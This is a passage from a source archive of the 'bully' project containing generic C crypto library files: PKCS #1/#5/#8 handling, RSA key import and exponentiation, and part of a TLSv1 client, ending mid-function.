bully-1.4-00/src/tls/pkcs1.h000077500000000000000000000015551361530463600155250ustar00rootroot00000000000000/* * PKCS #1 (RSA Encryption) * Copyright (c) 2006-2009, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #ifndef PKCS1_H #define PKCS1_H int pkcs1_encrypt(int block_type, struct crypto_rsa_key *key, int use_private, const u8 *in, size_t inlen, u8 *out, size_t *outlen); int pkcs1_v15_private_key_decrypt(struct crypto_rsa_key *key, const u8 *in, size_t inlen, u8 *out, size_t *outlen); int pkcs1_decrypt_public_key(struct crypto_rsa_key *key, const u8 *crypt, size_t crypt_len, u8 *plain, size_t *plain_len); #endif /* PKCS1_H */ bully-1.4-00/src/tls/pkcs5.c000077500000000000000000000140301361530463600155140ustar00rootroot00000000000000/* * PKCS #5 (Password-based Encryption) * Copyright (c) 2009, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #include "crypto/crypto.h" #include "crypto/md5.h" #include "asn1.h" #include "pkcs5.h" struct pkcs5_params { enum pkcs5_alg { PKCS5_ALG_UNKNOWN, PKCS5_ALG_MD5_DES_CBC } alg; u8 salt[8]; size_t salt_len; unsigned int iter_count; }; enum pkcs5_alg pkcs5_get_alg(struct asn1_oid *oid) { if (oid->len == 7 && oid->oid[0] == 1 /* iso */ && oid->oid[1] == 2 /* member-body */ && oid->oid[2] == 840 /* us */ && oid->oid[3] == 113549 /* rsadsi */ && oid->oid[4] == 1 /* pkcs */ && oid->oid[5] == 5 /* pkcs-5 */ && oid->oid[6] == 3 /* pbeWithMD5AndDES-CBC */) return PKCS5_ALG_MD5_DES_CBC; return PKCS5_ALG_UNKNOWN; } static int pkcs5_get_params(const u8 *enc_alg, size_t enc_alg_len, struct pkcs5_params *params) { struct asn1_hdr hdr; const u8 *enc_alg_end, *pos, *end; struct asn1_oid oid; char obuf[80]; /* AlgorithmIdentifier */ enc_alg_end = enc_alg + enc_alg_len; os_memset(params, 0, sizeof(*params)); if (asn1_get_oid(enc_alg, enc_alg_end - enc_alg, &oid, &pos)) { wpa_printf(MSG_DEBUG, "PKCS #5: Failed to parse OID " "(algorithm)"); return -1; } asn1_oid_to_str(&oid, obuf, sizeof(obuf)); wpa_printf(MSG_DEBUG, "PKCS #5: encryption algorithm %s", obuf); params->alg = pkcs5_get_alg(&oid); if (params->alg == PKCS5_ALG_UNKNOWN) { wpa_printf(MSG_INFO, "PKCS #5: unsupported encryption " "algorithm %s", obuf); return -1; } /* * PKCS#5, Section 8 * PBEParameter ::= SEQUENCE { * salt OCTET STRING SIZE(8), * iterationCount INTEGER } */ if (asn1_get_next(pos, enc_alg_end - pos, &hdr) < 0 || hdr.class != ASN1_CLASS_UNIVERSAL || hdr.tag != ASN1_TAG_SEQUENCE) { wpa_printf(MSG_DEBUG, "PKCS #5: Expected SEQUENCE " "(PBEParameter) - found class %d tag 0x%x", hdr.class, hdr.tag); return -1; } pos = hdr.payload; end = hdr.payload + hdr.length; /* salt OCTET STRING SIZE(8) */ if (asn1_get_next(pos, end - pos, &hdr) < 0 || hdr.class != ASN1_CLASS_UNIVERSAL || hdr.tag != ASN1_TAG_OCTETSTRING || hdr.length != 8) { wpa_printf(MSG_DEBUG, "PKCS #5: Expected OCTETSTRING SIZE(8) " "(salt) - found class %d tag 0x%x size %d", hdr.class, hdr.tag, hdr.length); return -1; } pos = hdr.payload + hdr.length; os_memcpy(params->salt, hdr.payload, hdr.length); params->salt_len = hdr.length; wpa_hexdump(MSG_DEBUG, "PKCS #5: salt", params->salt, params->salt_len); /* iterationCount INTEGER */ if (asn1_get_next(pos, end - pos, &hdr) < 0 || hdr.class != ASN1_CLASS_UNIVERSAL || hdr.tag != ASN1_TAG_INTEGER) { wpa_printf(MSG_DEBUG, "PKCS #5: Expected INTEGER - found " "class %d tag 0x%x", hdr.class, hdr.tag); return -1; } if (hdr.length == 1) params->iter_count = *hdr.payload; else if (hdr.length == 2) params->iter_count = WPA_GET_BE16(hdr.payload); else if (hdr.length == 4) params->iter_count = WPA_GET_BE32(hdr.payload); else { wpa_hexdump(MSG_DEBUG, "PKCS #5: Unsupported INTEGER value " " (iterationCount)", hdr.payload, hdr.length); return -1; } wpa_printf(MSG_DEBUG, "PKCS #5: iterationCount=0x%x", params->iter_count); if (params->iter_count == 0 || params->iter_count > 0xffff) { wpa_printf(MSG_INFO, "PKCS #5: Unsupported " "iterationCount=0x%x", params->iter_count); return -1; } return 0; } static struct crypto_cipher * pkcs5_crypto_init(struct pkcs5_params *params, const char *passwd) { unsigned int i; u8 hash[MD5_MAC_LEN]; const u8 *addr[2]; size_t len[2]; if (params->alg != PKCS5_ALG_MD5_DES_CBC) return NULL; addr[0] = (const u8 *) passwd; len[0] = os_strlen(passwd); addr[1] = params->salt; len[1] = params->salt_len; if (md5_vector(2, addr, len, hash) < 0) return NULL; addr[0] = hash; len[0] = MD5_MAC_LEN; for (i = 1; i < params->iter_count; i++) { if (md5_vector(1, addr, len, hash) < 0) return NULL; } /* TODO: DES key parity bits(?) */ wpa_hexdump_key(MSG_DEBUG, "PKCS #5: DES key", hash, 8); wpa_hexdump_key(MSG_DEBUG, "PKCS #5: DES IV", hash + 8, 8); return crypto_cipher_init(CRYPTO_CIPHER_ALG_DES, hash + 8, hash, 8); } u8 * pkcs5_decrypt(const u8 *enc_alg, size_t enc_alg_len, const u8 *enc_data, size_t enc_data_len, const char *passwd, size_t *data_len) { struct crypto_cipher *ctx; u8 *eb, pad; struct pkcs5_params params; unsigned int i; if (pkcs5_get_params(enc_alg, enc_alg_len, ¶ms) < 0) { wpa_printf(MSG_DEBUG, "PKCS #5: Unsupported parameters"); return NULL; } ctx = pkcs5_crypto_init(¶ms, passwd); if (ctx == NULL) { wpa_printf(MSG_DEBUG, "PKCS #5: Failed to initialize crypto"); return NULL; } /* PKCS #5, Section 7 - Decryption process */ if (enc_data_len < 16 || enc_data_len % 8) { wpa_printf(MSG_INFO, "PKCS #5: invalid length of ciphertext " "%d", (int) enc_data_len); crypto_cipher_deinit(ctx); return NULL; } eb = os_malloc(enc_data_len); if (eb == NULL) { crypto_cipher_deinit(ctx); return NULL; } if (crypto_cipher_decrypt(ctx, enc_data, eb, enc_data_len) < 0) { wpa_printf(MSG_DEBUG, "PKCS #5: Failed to decrypt EB"); crypto_cipher_deinit(ctx); os_free(eb); return NULL; } crypto_cipher_deinit(ctx); pad = eb[enc_data_len - 1]; if (pad > 8) { wpa_printf(MSG_INFO, "PKCS #5: Invalid PS octet 0x%x", pad); os_free(eb); return NULL; } for (i = enc_data_len - pad; i < enc_data_len; i++) { if (eb[i] != pad) { wpa_hexdump(MSG_INFO, "PKCS #5: Invalid PS", eb + enc_data_len - pad, pad); os_free(eb); return NULL; } } wpa_hexdump_key(MSG_MSGDUMP, "PKCS #5: message M (encrypted key)", eb, enc_data_len - pad); *data_len = enc_data_len - pad; return eb; } bully-1.4-00/src/tls/pkcs5.h000077500000000000000000000011571361530463600155270ustar00rootroot00000000000000/* * PKCS #5 (Password-based Encryption) * Copyright (c) 2009, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #ifndef PKCS5_H #define PKCS5_H u8 * pkcs5_decrypt(const u8 *enc_alg, size_t enc_alg_len, const u8 *enc_data, size_t enc_data_len, const char *passwd, size_t *data_len); #endif /* PKCS5_H */ bully-1.4-00/src/tls/pkcs8.c000077500000000000000000000124711361530463600155260ustar00rootroot00000000000000/* * PKCS #8 (Private-key information syntax) * Copyright (c) 2006-2009, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #include "asn1.h" #include "bignum.h" #include "rsa.h" #include "pkcs5.h" #include "pkcs8.h" struct crypto_private_key * pkcs8_key_import(const u8 *buf, size_t len) { struct asn1_hdr hdr; const u8 *pos, *end; struct bignum *zero; struct asn1_oid oid; char obuf[80]; /* PKCS #8, Chapter 6 */ /* PrivateKeyInfo ::= SEQUENCE */ if (asn1_get_next(buf, len, &hdr) < 0 || hdr.class != ASN1_CLASS_UNIVERSAL || hdr.tag != ASN1_TAG_SEQUENCE) { wpa_printf(MSG_DEBUG, "PKCS #8: Does not start with PKCS #8 " "header (SEQUENCE); assume PKCS #8 not used"); return NULL; } pos = hdr.payload; end = pos + hdr.length; /* version Version (Version ::= INTEGER) */ if (asn1_get_next(pos, end - pos, &hdr) < 0 || hdr.class != ASN1_CLASS_UNIVERSAL || hdr.tag != ASN1_TAG_INTEGER) { wpa_printf(MSG_DEBUG, "PKCS #8: Expected INTEGER - found " "class %d tag 0x%x; assume PKCS #8 not used", hdr.class, hdr.tag); return NULL; } zero = bignum_init(); if (zero == NULL) return NULL; if (bignum_set_unsigned_bin(zero, hdr.payload, hdr.length) < 0) { wpa_printf(MSG_DEBUG, "PKCS #8: Failed to parse INTEGER"); bignum_deinit(zero); return NULL; } pos = hdr.payload + hdr.length; if (bignum_cmp_d(zero, 0) != 0) { wpa_printf(MSG_DEBUG, "PKCS #8: Expected zero INTEGER in the " "beginning of private key; not found; assume " "PKCS #8 not used"); bignum_deinit(zero); return NULL; } bignum_deinit(zero); /* privateKeyAlgorithm PrivateKeyAlgorithmIdentifier * (PrivateKeyAlgorithmIdentifier ::= AlgorithmIdentifier) */ if (asn1_get_next(pos, len, &hdr) < 0 || hdr.class != ASN1_CLASS_UNIVERSAL || hdr.tag != ASN1_TAG_SEQUENCE) { wpa_printf(MSG_DEBUG, "PKCS #8: Expected SEQUENCE " "(AlgorithmIdentifier) - found class %d tag 0x%x; " "assume PKCS #8 not used", hdr.class, hdr.tag); return NULL; } if (asn1_get_oid(hdr.payload, hdr.length, &oid, &pos)) { wpa_printf(MSG_DEBUG, "PKCS #8: Failed to parse OID " "(algorithm); assume PKCS #8 not used"); return NULL; } asn1_oid_to_str(&oid, obuf, sizeof(obuf)); wpa_printf(MSG_DEBUG, "PKCS #8: algorithm=%s", obuf); if (oid.len != 7 || oid.oid[0] != 1 /* iso */ || oid.oid[1] != 2 /* member-body */ || oid.oid[2] != 840 /* us */ || oid.oid[3] != 113549 /* rsadsi */ || oid.oid[4] != 1 /* pkcs */ || oid.oid[5] != 1 /* pkcs-1 */ || oid.oid[6] != 1 /* rsaEncryption */) { wpa_printf(MSG_DEBUG, "PKCS #8: Unsupported private key " "algorithm %s", obuf); return NULL; } pos = hdr.payload + hdr.length; /* privateKey PrivateKey (PrivateKey ::= OCTET STRING) */ if (asn1_get_next(pos, end - pos, &hdr) < 0 || hdr.class != ASN1_CLASS_UNIVERSAL || hdr.tag != ASN1_TAG_OCTETSTRING) { wpa_printf(MSG_DEBUG, "PKCS #8: Expected OCTETSTRING " "(privateKey) - found class %d tag 0x%x", hdr.class, hdr.tag); return NULL; } wpa_printf(MSG_DEBUG, "PKCS #8: Try to parse RSAPrivateKey"); return (struct crypto_private_key *) crypto_rsa_import_private_key(hdr.payload, hdr.length); } struct crypto_private_key * pkcs8_enc_key_import(const u8 *buf, size_t len, const char *passwd) { struct asn1_hdr hdr; const u8 *pos, *end, *enc_alg; size_t enc_alg_len; u8 *data; size_t data_len; if (passwd == NULL) return NULL; /* * PKCS #8, Chapter 7 * EncryptedPrivateKeyInfo ::= SEQUENCE { * encryptionAlgorithm EncryptionAlgorithmIdentifier, * encryptedData EncryptedData } * EncryptionAlgorithmIdentifier ::= AlgorithmIdentifier * EncryptedData ::= OCTET STRING */ if (asn1_get_next(buf, len, &hdr) < 0 || hdr.class != ASN1_CLASS_UNIVERSAL || hdr.tag != ASN1_TAG_SEQUENCE) { wpa_printf(MSG_DEBUG, "PKCS #8: Does not start with PKCS #8 " "header (SEQUENCE); assume encrypted PKCS #8 not " "used"); return NULL; } pos = hdr.payload; end = pos + hdr.length; /* encryptionAlgorithm EncryptionAlgorithmIdentifier */ if (asn1_get_next(pos, end - pos, &hdr) < 0 || hdr.class != ASN1_CLASS_UNIVERSAL || hdr.tag != ASN1_TAG_SEQUENCE) { wpa_printf(MSG_DEBUG, "PKCS #8: Expected SEQUENCE " "(AlgorithmIdentifier) - found class %d tag 0x%x; " "assume encrypted PKCS #8 not used", hdr.class, hdr.tag); return NULL; } enc_alg = hdr.payload; enc_alg_len = hdr.length; pos = hdr.payload + hdr.length; /* encryptedData EncryptedData */ if (asn1_get_next(pos, end - pos, &hdr) < 0 || hdr.class != ASN1_CLASS_UNIVERSAL || hdr.tag != ASN1_TAG_OCTETSTRING) { wpa_printf(MSG_DEBUG, "PKCS #8: Expected OCTETSTRING " "(encryptedData) - found class %d tag 0x%x", hdr.class, hdr.tag); return NULL; } data = pkcs5_decrypt(enc_alg, enc_alg_len, hdr.payload, hdr.length, passwd, &data_len); if (data) { struct crypto_private_key *key; key = pkcs8_key_import(data, data_len); os_free(data); return key; } return NULL; } bully-1.4-00/src/tls/pkcs8.h000077500000000000000000000012171361530463600155270ustar00rootroot00000000000000/* * PKCS #8 (Private-key information syntax) * Copyright (c) 2006-2009, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #ifndef PKCS8_H #define PKCS8_H struct crypto_private_key * pkcs8_key_import(const u8 *buf, size_t len); struct crypto_private_key * pkcs8_enc_key_import(const u8 *buf, size_t len, const char *passwd); #endif /* PKCS8_H */ bully-1.4-00/src/tls/rsa.c000077500000000000000000000210051361530463600152540ustar00rootroot00000000000000/* * RSA * Copyright (c) 2006, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #include "asn1.h" #include "bignum.h" #include "rsa.h" struct crypto_rsa_key { int private_key; /* whether private key is set */ struct bignum *n; /* modulus (p * q) */ struct bignum *e; /* public exponent */ /* The following parameters are available only if private_key is set */ struct bignum *d; /* private exponent */ struct bignum *p; /* prime p (factor of n) */ struct bignum *q; /* prime q (factor of n) */ struct bignum *dmp1; /* d mod (p - 1); CRT exponent */ struct bignum *dmq1; /* d mod (q - 1); CRT exponent */ struct bignum *iqmp; /* 1 / q mod p; CRT coefficient */ }; static const u8 * crypto_rsa_parse_integer(const u8 *pos, const u8 *end, struct bignum *num) { struct asn1_hdr hdr; if (pos == NULL) return NULL; if (asn1_get_next(pos, end - pos, &hdr) < 0 || hdr.class != ASN1_CLASS_UNIVERSAL || hdr.tag != ASN1_TAG_INTEGER) { wpa_printf(MSG_DEBUG, "RSA: Expected INTEGER - found class %d " "tag 0x%x", hdr.class, hdr.tag); return NULL; } if (bignum_set_unsigned_bin(num, hdr.payload, hdr.length) < 0) { wpa_printf(MSG_DEBUG, "RSA: Failed to parse INTEGER"); return NULL; } return hdr.payload + hdr.length; } /** * crypto_rsa_import_public_key - Import an RSA public key * @buf: Key buffer (DER encoded RSA public key) * @len: Key buffer length in bytes * Returns: Pointer to the public key or %NULL on failure */ struct crypto_rsa_key * crypto_rsa_import_public_key(const u8 *buf, size_t len) { struct crypto_rsa_key *key; struct asn1_hdr hdr; const u8 *pos, *end; key = os_zalloc(sizeof(*key)); if (key == NULL) return NULL; key->n = bignum_init(); key->e = bignum_init(); if (key->n == NULL || key->e == NULL) { crypto_rsa_free(key); return NULL; } /* * PKCS #1, 7.1: * RSAPublicKey ::= SEQUENCE { * modulus INTEGER, -- n * publicExponent INTEGER -- e * } */ if (asn1_get_next(buf, len, &hdr) < 0 || hdr.class != ASN1_CLASS_UNIVERSAL || hdr.tag != ASN1_TAG_SEQUENCE) { wpa_printf(MSG_DEBUG, "RSA: Expected SEQUENCE " "(public key) - found class %d tag 0x%x", hdr.class, hdr.tag); goto error; } pos = hdr.payload; end = pos + hdr.length; pos = crypto_rsa_parse_integer(pos, end, key->n); pos = crypto_rsa_parse_integer(pos, end, key->e); if (pos == NULL) goto error; if (pos != end) { wpa_hexdump(MSG_DEBUG, "RSA: Extra data in public key SEQUENCE", pos, end - pos); goto error; } return key; error: crypto_rsa_free(key); return NULL; } /** * crypto_rsa_import_private_key - Import an RSA private key * @buf: Key buffer (DER encoded RSA private key) * @len: Key buffer length in bytes * Returns: Pointer to the private key or %NULL on failure */ struct crypto_rsa_key * crypto_rsa_import_private_key(const u8 *buf, size_t len) { struct crypto_rsa_key *key; struct bignum *zero; struct asn1_hdr hdr; const u8 *pos, *end; key = os_zalloc(sizeof(*key)); if (key == NULL) return NULL; key->private_key = 1; key->n = bignum_init(); key->e = bignum_init(); key->d = bignum_init(); key->p = bignum_init(); key->q = bignum_init(); key->dmp1 = bignum_init(); key->dmq1 = bignum_init(); key->iqmp = bignum_init(); if (key->n == NULL || key->e == NULL || key->d == NULL || key->p == NULL || key->q == NULL || key->dmp1 == NULL || key->dmq1 == NULL || key->iqmp == NULL) { crypto_rsa_free(key); return NULL; } /* * PKCS #1, 7.2: * RSAPrivateKey ::= SEQUENCE { * version Version, * modulus INTEGER, -- n * publicExponent INTEGER, -- e * privateExponent INTEGER, -- d * prime1 INTEGER, -- p * prime2 INTEGER, -- q * exponent1 INTEGER, -- d mod (p-1) * exponent2 INTEGER, -- d mod (q-1) * coefficient INTEGER -- (inverse of q) mod p * } * * Version ::= INTEGER -- shall be 0 for this version of the standard */ if (asn1_get_next(buf, len, &hdr) < 0 || hdr.class != ASN1_CLASS_UNIVERSAL || hdr.tag != ASN1_TAG_SEQUENCE) { wpa_printf(MSG_DEBUG, "RSA: Expected SEQUENCE " "(public key) - found class %d tag 0x%x", hdr.class, hdr.tag); goto error; } pos = hdr.payload; end = pos + hdr.length; zero = bignum_init(); if (zero == NULL) goto error; pos = crypto_rsa_parse_integer(pos, end, zero); if (pos == NULL || bignum_cmp_d(zero, 0) != 0) { wpa_printf(MSG_DEBUG, "RSA: Expected zero INTEGER in the " "beginning of private key; not found"); bignum_deinit(zero); goto error; } bignum_deinit(zero); pos = crypto_rsa_parse_integer(pos, end, key->n); pos = crypto_rsa_parse_integer(pos, end, key->e); pos = crypto_rsa_parse_integer(pos, end, key->d); pos = crypto_rsa_parse_integer(pos, end, key->p); pos = crypto_rsa_parse_integer(pos, end, key->q); pos = crypto_rsa_parse_integer(pos, end, key->dmp1); pos = crypto_rsa_parse_integer(pos, end, key->dmq1); pos = crypto_rsa_parse_integer(pos, end, key->iqmp); if (pos == NULL) goto error; if (pos != end) { wpa_hexdump(MSG_DEBUG, "RSA: Extra data in public key SEQUENCE", pos, end - pos); goto error; } return key; error: crypto_rsa_free(key); return NULL; } /** * crypto_rsa_get_modulus_len - Get the modulus length of the RSA key * @key: RSA key * Returns: Modulus length of the key */ size_t crypto_rsa_get_modulus_len(struct crypto_rsa_key *key) { return bignum_get_unsigned_bin_len(key->n); } /** * crypto_rsa_exptmod - RSA modular exponentiation * @in: Input data * @inlen: Input data length * @out: Buffer for output data * @outlen: Maximum size of the output buffer and used size on success * @key: RSA key * @use_private: 1 = Use RSA private key, 0 = Use RSA public key * Returns: 0 on success, -1 on failure */ int crypto_rsa_exptmod(const u8 *in, size_t inlen, u8 *out, size_t *outlen, struct crypto_rsa_key *key, int use_private) { struct bignum *tmp, *a = NULL, *b = NULL; int ret = -1; size_t modlen; if (use_private && !key->private_key) return -1; tmp = bignum_init(); if (tmp == NULL) return -1; if (bignum_set_unsigned_bin(tmp, in, inlen) < 0) goto error; if (bignum_cmp(key->n, tmp) < 0) { /* Too large input value for the RSA key modulus */ goto error; } if (use_private) { /* * Decrypt (or sign) using Chinese remainer theorem to speed * up calculation. This is equivalent to tmp = tmp^d mod n * (which would require more CPU to calculate directly). * * dmp1 = (1/e) mod (p-1) * dmq1 = (1/e) mod (q-1) * iqmp = (1/q) mod p, where p > q * m1 = c^dmp1 mod p * m2 = c^dmq1 mod q * h = q^-1 (m1 - m2) mod p * m = m2 + hq */ a = bignum_init(); b = bignum_init(); if (a == NULL || b == NULL) goto error; /* a = tmp^dmp1 mod p */ if (bignum_exptmod(tmp, key->dmp1, key->p, a) < 0) goto error; /* b = tmp^dmq1 mod q */ if (bignum_exptmod(tmp, key->dmq1, key->q, b) < 0) goto error; /* tmp = (a - b) * (1/q mod p) (mod p) */ if (bignum_sub(a, b, tmp) < 0 || bignum_mulmod(tmp, key->iqmp, key->p, tmp) < 0) goto error; /* tmp = b + q * tmp */ if (bignum_mul(tmp, key->q, tmp) < 0 || bignum_add(tmp, b, tmp) < 0) goto error; } else { /* Encrypt (or verify signature) */ /* tmp = tmp^e mod N */ if (bignum_exptmod(tmp, key->e, key->n, tmp) < 0) goto error; } modlen = crypto_rsa_get_modulus_len(key); if (modlen > *outlen) { *outlen = modlen; goto error; } if (bignum_get_unsigned_bin_len(tmp) > modlen) goto error; /* should never happen */ *outlen = modlen; os_memset(out, 0, modlen); if (bignum_get_unsigned_bin( tmp, out + (modlen - bignum_get_unsigned_bin_len(tmp)), NULL) < 0) goto error; ret = 0; error: bignum_deinit(tmp); bignum_deinit(a); bignum_deinit(b); return ret; } /** * crypto_rsa_free - Free RSA key * @key: RSA key to be freed * * This function frees an RSA key imported with either * crypto_rsa_import_public_key() or crypto_rsa_import_private_key(). */ void crypto_rsa_free(struct crypto_rsa_key *key) { if (key) { bignum_deinit(key->n); bignum_deinit(key->e); bignum_deinit(key->d); bignum_deinit(key->p); bignum_deinit(key->q); bignum_deinit(key->dmp1); bignum_deinit(key->dmq1); bignum_deinit(key->iqmp); os_free(key); } } bully-1.4-00/src/tls/rsa.h000077500000000000000000000015441361530463600152670ustar00rootroot00000000000000/* * RSA * Copyright (c) 2006, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #ifndef RSA_H #define RSA_H struct crypto_rsa_key; struct crypto_rsa_key * crypto_rsa_import_public_key(const u8 *buf, size_t len); struct crypto_rsa_key * crypto_rsa_import_private_key(const u8 *buf, size_t len); size_t crypto_rsa_get_modulus_len(struct crypto_rsa_key *key); int crypto_rsa_exptmod(const u8 *in, size_t inlen, u8 *out, size_t *outlen, struct crypto_rsa_key *key, int use_private); void crypto_rsa_free(struct crypto_rsa_key *key); #endif /* RSA_H */ bully-1.4-00/src/tls/tlsv1_client.c000077500000000000000000000434531361530463600171110ustar00rootroot00000000000000/* * TLSv1 client (RFC 2246) * Copyright (c) 2006-2007, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #include "crypto/sha1.h" #include "crypto/tls.h" #include "tlsv1_common.h" #include "tlsv1_record.h" #include "tlsv1_client.h" #include "tlsv1_client_i.h" /* TODO: * Support for a message fragmented across several records (RFC 2246, 6.2.1) */ void tls_alert(struct tlsv1_client *conn, u8 level, u8 description) { conn->alert_level = level; conn->alert_description = description; } void tlsv1_client_free_dh(struct tlsv1_client *conn) { os_free(conn->dh_p); os_free(conn->dh_g); os_free(conn->dh_ys); conn->dh_p = conn->dh_g = conn->dh_ys = NULL; } int tls_derive_pre_master_secret(u8 *pre_master_secret) { WPA_PUT_BE16(pre_master_secret, TLS_VERSION); if (os_get_random(pre_master_secret + 2, TLS_PRE_MASTER_SECRET_LEN - 2)) return -1; return 0; } int tls_derive_keys(struct tlsv1_client *conn, const u8 *pre_master_secret, size_t pre_master_secret_len) { u8 seed[2 * TLS_RANDOM_LEN]; u8 key_block[TLS_MAX_KEY_BLOCK_LEN]; u8 *pos; size_t key_block_len; if (pre_master_secret) { wpa_hexdump_key(MSG_MSGDUMP, "TLSv1: pre_master_secret", pre_master_secret, pre_master_secret_len); os_memcpy(seed, conn->client_random, TLS_RANDOM_LEN); os_memcpy(seed + TLS_RANDOM_LEN, conn->server_random, TLS_RANDOM_LEN); if (tls_prf(pre_master_secret, pre_master_secret_len, "master secret", seed, 2 * TLS_RANDOM_LEN, conn->master_secret, TLS_MASTER_SECRET_LEN)) { wpa_printf(MSG_DEBUG, "TLSv1: Failed to derive " "master_secret"); return -1; } wpa_hexdump_key(MSG_MSGDUMP, "TLSv1: master_secret", conn->master_secret, TLS_MASTER_SECRET_LEN); } os_memcpy(seed, conn->server_random, TLS_RANDOM_LEN); os_memcpy(seed + TLS_RANDOM_LEN, conn->client_random, TLS_RANDOM_LEN); key_block_len = 2 * (conn->rl.hash_size + conn->rl.key_material_len + conn->rl.iv_size); if (tls_prf(conn->master_secret, TLS_MASTER_SECRET_LEN, "key expansion", seed, 2 * TLS_RANDOM_LEN, key_block, key_block_len)) { wpa_printf(MSG_DEBUG, "TLSv1: Failed to derive key_block"); return -1; } wpa_hexdump_key(MSG_MSGDUMP, "TLSv1: key_block", key_block, key_block_len); pos = key_block; /* client_write_MAC_secret */ os_memcpy(conn->rl.write_mac_secret, pos, conn->rl.hash_size); pos += conn->rl.hash_size; /* server_write_MAC_secret */ os_memcpy(conn->rl.read_mac_secret, pos, conn->rl.hash_size); pos += conn->rl.hash_size; /* client_write_key */ os_memcpy(conn->rl.write_key, pos, conn->rl.key_material_len); pos += conn->rl.key_material_len; /* server_write_key */ os_memcpy(conn->rl.read_key, pos, conn->rl.key_material_len); pos += conn->rl.key_material_len; /* client_write_IV */ os_memcpy(conn->rl.write_iv, pos, conn->rl.iv_size); pos += conn->rl.iv_size; /* server_write_IV */ os_memcpy(conn->rl.read_iv, pos, conn->rl.iv_size); pos += conn->rl.iv_size; return 0; } /** * tlsv1_client_handshake - Process TLS handshake * @conn: TLSv1 client connection data from tlsv1_client_init() * @in_data: Input data from TLS peer * @in_len: Input data length * @out_len: Length of the output buffer. * @appl_data: Pointer to application data pointer, or %NULL if dropped * @appl_data_len: Pointer to variable that is set to appl_data length * Returns: Pointer to output data, %NULL on failure */ u8 * tlsv1_client_handshake(struct tlsv1_client *conn, const u8 *in_data, size_t in_len, size_t *out_len, u8 **appl_data, size_t *appl_data_len) { const u8 *pos, *end; u8 *msg = NULL, *in_msg, *in_pos, *in_end, alert, ct; size_t in_msg_len; int no_appl_data; if (conn->state == CLIENT_HELLO) { if (in_len) return NULL; return tls_send_client_hello(conn, out_len); } if (in_data == NULL || in_len == 0) return NULL; pos = in_data; end = in_data + in_len; in_msg = os_malloc(in_len); if (in_msg == NULL) return NULL; /* Each received packet may include multiple records */ while (pos < end) { in_msg_len = in_len; if (tlsv1_record_receive(&conn->rl, pos, end - pos, in_msg, &in_msg_len, &alert)) { wpa_printf(MSG_DEBUG, "TLSv1: Processing received " "record failed"); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, alert); goto failed; } ct = pos[0]; in_pos = in_msg; in_end = in_msg + in_msg_len; /* Each received record may include multiple messages of the * same ContentType. */ while (in_pos < in_end) { in_msg_len = in_end - in_pos; if (tlsv1_client_process_handshake(conn, ct, in_pos, &in_msg_len, appl_data, appl_data_len) < 0) goto failed; in_pos += in_msg_len; } pos += TLS_RECORD_HEADER_LEN + WPA_GET_BE16(pos + 3); } os_free(in_msg); in_msg = NULL; no_appl_data = appl_data == NULL || *appl_data == NULL; msg = tlsv1_client_handshake_write(conn, out_len, no_appl_data); failed: os_free(in_msg); if (conn->alert_level) { conn->state = FAILED; os_free(msg); msg = tlsv1_client_send_alert(conn, conn->alert_level, conn->alert_description, out_len); } else if (msg == NULL) { msg = os_zalloc(1); *out_len = 0; } return msg; } /** * tlsv1_client_encrypt - Encrypt data into TLS tunnel * @conn: TLSv1 client connection data from tlsv1_client_init() * @in_data: Pointer to plaintext data to be encrypted * @in_len: Input buffer length * @out_data: Pointer to output buffer (encrypted TLS data) * @out_len: Maximum out_data length * Returns: Number of bytes written to out_data, -1 on failure * * This function is used after TLS handshake has been completed successfully to * send data in the encrypted tunnel. */ int tlsv1_client_encrypt(struct tlsv1_client *conn, const u8 *in_data, size_t in_len, u8 *out_data, size_t out_len) { size_t rlen; wpa_hexdump_key(MSG_MSGDUMP, "TLSv1: Plaintext AppData", in_data, in_len); os_memcpy(out_data + TLS_RECORD_HEADER_LEN, in_data, in_len); if (tlsv1_record_send(&conn->rl, TLS_CONTENT_TYPE_APPLICATION_DATA, out_data, out_len, in_len, &rlen) < 0) { wpa_printf(MSG_DEBUG, "TLSv1: Failed to create a record"); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); return -1; } return rlen; } /** * tlsv1_client_decrypt - Decrypt data from TLS tunnel * @conn: TLSv1 client connection data from tlsv1_client_init() * @in_data: Pointer to input buffer (encrypted TLS data) * @in_len: Input buffer length * @out_data: Pointer to output buffer (decrypted data from TLS tunnel) * @out_len: Maximum out_data length * Returns: Number of bytes written to out_data, -1 on failure * * This function is used after TLS handshake has been completed successfully to * receive data from the encrypted tunnel. */ int tlsv1_client_decrypt(struct tlsv1_client *conn, const u8 *in_data, size_t in_len, u8 *out_data, size_t out_len) { const u8 *in_end, *pos; int res; u8 alert, *out_end, *out_pos; size_t olen; pos = in_data; in_end = in_data + in_len; out_pos = out_data; out_end = out_data + out_len; while (pos < in_end) { if (pos[0] != 